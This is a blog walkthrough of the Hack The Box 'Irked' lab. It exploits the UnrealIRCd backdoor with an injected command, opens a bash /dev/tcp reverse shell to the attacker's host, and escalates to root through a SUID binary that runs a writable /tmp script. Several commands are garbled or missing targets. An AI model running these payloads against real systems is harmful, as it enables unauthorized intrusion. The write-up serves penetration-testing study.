Got me feeling, Irked!

As promised the next IppSec write-up is here! This was a fun write-up, we get to use tools like Gobuster, Steghide, and Curl to crack this box. Every IppSec write-up I do is always teaching me new tools and methods for pwning a system without relying on the Metasploit Framework. Remember, we want to be Cyber Security Jedis not Padawan Script Kiddies!

Just a quick note before we begin:


I am not IppSEC nor do I work with him or for him. This write up is simply to be used as a learning tool only. Please forgive any typos. These write-ups are to get you familiar with the types of tools used for penetration testing and how to utilize them.

This write up is not verbatim, it is the steps taken to gain root, along with a few additional resources.


Last thing, links for the OSCP, IppSec and HTB can be found at the bottom of the page. I hope you enjoy! #dontcodealone

Irked –

# First, let’s run our nmap scan.

nmap -sC -sV -oA nmap/irked

# After the scan has completed view the findings

# Open Ports:

22 – OpenSSH 6.7p1 Debian
80 – Apache httpd 2.4.10
111 – rpcbind 2-4

# Browse to and lets see what is on port 80
# You get an image and a hint about RPC

# Let’s check out that RPC thing some more by running a deeper NMAP scan on it

nmap -vvv- -p-

# This will increase the verbosity on open ports.
# Try the following on the webpage

# Lets run gobuster on the website.
# Gobuster is a tool for brute forcing URIs (Files and Directories) and DNS subdomains.

gobuster -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o root.log

-u = username
-w = wordlists
-0 = output file

# While gobuster is running try some different index formats on the page (e.g., index.php, index.html, index.aspx)

# A /manual page was found. Browse to”

# Just the Apache docs but the Copyright at the bottom reveal the date and version.

# Port 8067 was revealed as open from the verbose NMAP scan, lets scan it.

nmap -sC -sV -p 8067

# Revealed as open and running UnrealIRCd

# Lets run Netcat on that port

ncat 8067

# irked.htb Hostname is revealed, lets add the hostname to our hosts file on our box

# nano or vi

vi /etc/hosts localhost irked.htb

# Save and Exit
# Open firefox and browse to irked.htb to check for virtual hosts routing

# Lets Google how to use IRC (RFC IRC)

# Now lets use NetCat to talk to the IRC Server

ncat 8067
PASS ippsec
NICK ippsec
USER ipsec PleasSubscribe AndComment :ippsec

# And now you are talking with the IRC Server
# The version of the Unreal IRC server is given: Unreal3.2.8.1
# Google a release date
# Lets search for an exploit

searchsploit unreal

# A backdoor exploit is revealed using metasploit but lets learn how to do it without metasploit
# Google unrealirc backdoor (

# How the backdoor works

# The backdoor was disguised to look like a debug statement in the code:

if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))

# Open a new terminal pane and run:

tcpdump -i tun0 icmp

# -i = capture from the desired interface

# Open a new terminal pane and run:

echo “AB; ping -c 1 YOU.RHO.ST.IP” | ncat 8067

# After it times out it is revealed that the IRC Server initiates a session with your host, giving you command execution.
# Now lets get a reverse shell

ncat -lvnp 9001

# Switch back to the other terminal pane and run:

echo “AB; bash -c ‘bash -i >& /dev/tcp/YOU.RHO.ST.IP/9001 0>&1′” | ncat 8067

# Woot.. We got a shell, now lets upgrade the shell to a proper tty so we get tab autocomplete

python -c ‘import pty;pty.spawn(“/bin/bash”)’

ctrl + z

stty raw -echo

ncat -lvnp 9001

# Now you are back at your shell

export TERM=xterm

pwd (Shows current working directory)

ls -la

cat .bash_history | less

# The user djmardov is found


cd /home/djmardov


uname -a
# Will reveal when the kernel was compiled

#What is in djmardov Documents folder?

cd Documents/

ls -la

# Reveals a user.txt which we cant tead and a backup file

cat .backup

# We found a password (the Konami Code)
# Super elite steg backup pw (steg = stegonagraphy and pw = password

# Go back to the homepage

Right Click –> View Image and Copy the URL

# Back to your host terminal

curl -o irked.jpg

# Copy that password we found and switch back to your host terminal

apt install steghide
# If it isn’t already installed

steghide –help
# To see how to use the tool

steghide extract -sf irked.jpg -p andpasthepassword

# Wrote extraxted to pass.txt

cat pass.txt

# Copy the password

ssh djmardov@
# Paste the password and we get logged in.. coolbeans

ls -la

# View the output. We should be able to read the user.txt file in /Documets

cd /Documents

ls -la

wx -c user.txt
# MD5 sum revealed

# Browse around to the other directories and see if you can find anything useful, if not lets run linEnum\
# Open a new host terminal pane

cd /opt/LinEnum

python -m SimpleHTTPServer

# Switch back to your shell and switch to a writeable directory

cd /dev/shm

wget YOU.RHO.ST.IP:8000/

# Let it execute then run


#IppSec found an interesting SUID file (/usr/bin/viewuser)

ls -la /usr/bin/viewuser

# Lets execute it


# We get some info about the application is being developed. Lets copy it back over to our Kali box

base64 -w0 /usr/bin/viewuser
# -w0 = removes line wrapping

# Copy the output
# Switch back to the terminal on your host

vi viewuser.b64
# paste in the info

base64 -d viewuser.b64 > viewuser
# > = sends to a file

chmod +x viewuser

ltrace ./viewuser
# Will show you the calls running

# Copy the /tmp/listusers being executed by the system call
# Switch back to the shell and edit the listusers file

vi /tmp/listusers


# Save and exit

chmod +x /tmp/listusers
#makes it executable


# We get a bash shell

vi /tmp/listusers

echo “Sending a ROOT shell”

# viewuser will execute what we did to get a shell
# And woohoo.. we got ROOT!

cd /root
# View the output
pass.txt and root.txt and cat them both to see what is in the file

*** I am ending the write up here at 27min and 43s. If you would like to learn how to use Ghidra please continue from that point. ***

OSCP – Offensive Security Certified Professional

IppSec – His YouTube Channel

Hack the Box –